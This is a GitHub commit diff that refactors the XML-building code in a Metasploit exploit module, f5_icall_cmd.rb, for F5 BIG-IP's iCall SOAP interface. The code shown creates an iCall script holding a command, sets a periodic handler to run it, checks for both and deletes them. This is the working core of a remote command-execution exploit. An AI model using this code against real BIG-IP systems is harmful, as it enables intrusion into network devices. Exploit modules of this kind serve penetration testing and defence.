Skip to content

Commit e58e174

Browse files
jhart-r7jhart-r7
committed
Simplify XML building
1 parent ecbd453 commit e58e174

File tree

1 file changed

+72
-100
lines changed

1 file changed

+72
-100
lines changed

‎modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 72 additions & 100 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,19 @@ def initialize(info = {})
6060
])
6161
end
6262

63+
def build_xml
64+
builder = Nokogiri::XML::Builder.new do |xml|
65+
xml.Envelope do
66+
xml = xml_add_namespaces(xml)
67+
xml['soapenv'].Header
68+
xml['soapenv'].Body do
69+
yield xml
70+
end
71+
end
72+
end
73+
builder.to_xml
74+
end
75+
6376
def xml_add_namespaces(xml)
6477
ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
6578
xml.doc.root.namespace = ns
@@ -96,121 +109,85 @@ def send_soap_request(pay)
96109
# cmd is valid tcl script
97110
def create_script(cmd)
98111
scriptname = Rex::Text.rand_text_alpha_lower(5)
99-
builder = Nokogiri::XML::Builder.new do |xml|
100-
xml.Envelope do
101-
xml = xml_add_namespaces(xml)
102-
xml['soapenv'].Header
103-
xml['soapenv'].Body do
104-
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
105-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
106-
xml.scripts(string_attrs) do
107-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
108-
xml.item scriptname
109-
end
110-
xml.definitions(string_attrs) do
111-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
112-
xml.item cmd
113-
end
114-
end
112+
create_xml = build_xml do |xml|
113+
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
114+
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
115+
xml.scripts(string_attrs) do
116+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
117+
xml.item scriptname
118+
end
119+
xml.definitions(string_attrs) do
120+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
121+
xml.item cmd
115122
end
116123
end
117124
end
118-
send_soap_request(builder.to_xml) ? scriptname : false
125+
send_soap_request(create_xml) ? scriptname : false
119126
end
120127

121128
def delete_script(scriptname)
122-
builder = Nokogiri::XML::Builder.new do |xml|
123-
xml.Envelope do
124-
xml = xml_add_namespaces(xml)
125-
xml['soapenv'].Header
126-
xml['soapenv'].Body do
127-
xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
128-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
129-
xml.scripts(string_attrs) do
130-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
131-
xml.item scriptname
132-
end
133-
end
129+
delete_xml = build_xml do |xml|
130+
xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
131+
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
132+
xml.scripts(string_attrs) do
133+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
134+
xml.item scriptname
134135
end
135136
end
136137
end
137-
send_soap_request(builder.to_xml)
138+
send_soap_request(delete_xml)
138139
end
139140

140141
def script_exists(scriptname)
141-
builder = Nokogiri::XML::Builder.new do |xml|
142-
xml.Envelope do
143-
xml = xml_add_namespaces(xml)
144-
xml['soapenv'].Header
145-
xml['soapenv'].Body do
146-
xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
147-
end
148-
end
142+
exists_xml = build_xml do |xml|
143+
xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
149144
end
150-
res = send_soap_request(builder.to_xml)
145+
res = send_soap_request(exists_xml)
151146
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}")
152147
end
153148

154149
def create_handler(scriptname, interval)
155150
handler_name = Rex::Text.rand_text_alpha_lower(5)
156-
builder = Nokogiri::XML::Builder.new do |xml|
157-
xml.Envelope do
158-
xml = xml_add_namespaces(xml)
159-
xml['soapenv'].Header
160-
xml['soapenv'].Body do
161-
xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
162-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
163-
xml.handlers(string_attrs) do
164-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
165-
xml.item handler_name
166-
end
167-
xml.scripts(string_attrs) do
168-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
169-
xml.item scriptname
170-
end
171-
long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
172-
xml.intervals(long_attrs) do
173-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
174-
xml.item interval
175-
end
176-
end
151+
handler_xml = build_xml do |xml|
152+
xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
153+
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
154+
xml.handlers(string_attrs) do
155+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
156+
xml.item handler_name
157+
end
158+
xml.scripts(string_attrs) do
159+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
160+
xml.item scriptname
161+
end
162+
long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
163+
xml.intervals(long_attrs) do
164+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
165+
xml.item interval
177166
end
178167
end
179168
end
180-
send_soap_request(builder.to_xml) ? handler_name : false
169+
send_soap_request(handler_xml) ? handler_name : false
181170
end
182171

183172
def delete_handler(handler_name)
184-
builder = Nokogiri::XML::Builder.new do |xml|
185-
xml.Envelope do
186-
xml = xml_add_namespaces(xml)
187-
xml['soapenv'].Header
188-
xml['soapenv'].Body do
189-
xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
190-
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
191-
xml.handlers(attrs) do
192-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
193-
xml.item handler_name
194-
end
195-
end
173+
delete_xml = build_xml do |xml|
174+
xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
175+
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
176+
xml.handlers(attrs) do
177+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
178+
xml.item handler_name
196179
end
197180
end
198181
end
199182

200-
send_soap_request(builder.to_xml)
183+
send_soap_request(delete_xml)
201184
end
202185

203186
def handler_exists(handler_name)
204-
builder = Nokogiri::XML::Builder.new do |xml|
205-
xml.Envelope do
206-
xml = xml_add_namespaces(xml)
207-
xml['soapenv'].Header
208-
xml['soapenv'].Body do
209-
xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
210-
end
211-
end
187+
handler_xml = build_xml do |xml|
188+
xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
212189
end
213-
res = send_soap_request(builder.to_xml)
190+
res = send_soap_request(handler_xml)
214191
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
215192
end
216193

@@ -220,29 +197,24 @@ def check
220197
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
221198
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
222199
# any other response is considered not vulnerable
223-
builder = Nokogiri::XML::Builder.new do |xml|
224-
xml.Envelope do
225-
xml = xml_add_namespaces(xml)
226-
xml['soapenv'].Header
227-
xml['soapenv'].Body do
228-
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
229-
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
230-
xml.scripts(attrs) do
231-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
232-
xml.item ""
233-
end
234-
xml.definitions(attrs) do
235-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
236-
xml.item ""
237-
end
238-
end
200+
check_xml = build_xml do |xml|
201+
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
202+
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
203+
xml.scripts(attrs) do
204+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
205+
xml.item
206+
end
207+
xml.definitions(attrs) do
208+
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
209+
xml.item
239210
end
240211
end
241212
end
213+
242214
res = send_request_cgi(
243215
'uri' => normalize_uri(target_uri.path),
244216
'method' => 'POST',
245-
'data' => builder.to_xml,
217+
'data' => check_xml,
246218
'username' => datastore['USERNAME'],
247219
'password' => datastore['PASSWORD']
248220
)

0 commit comments

Comments
 (0)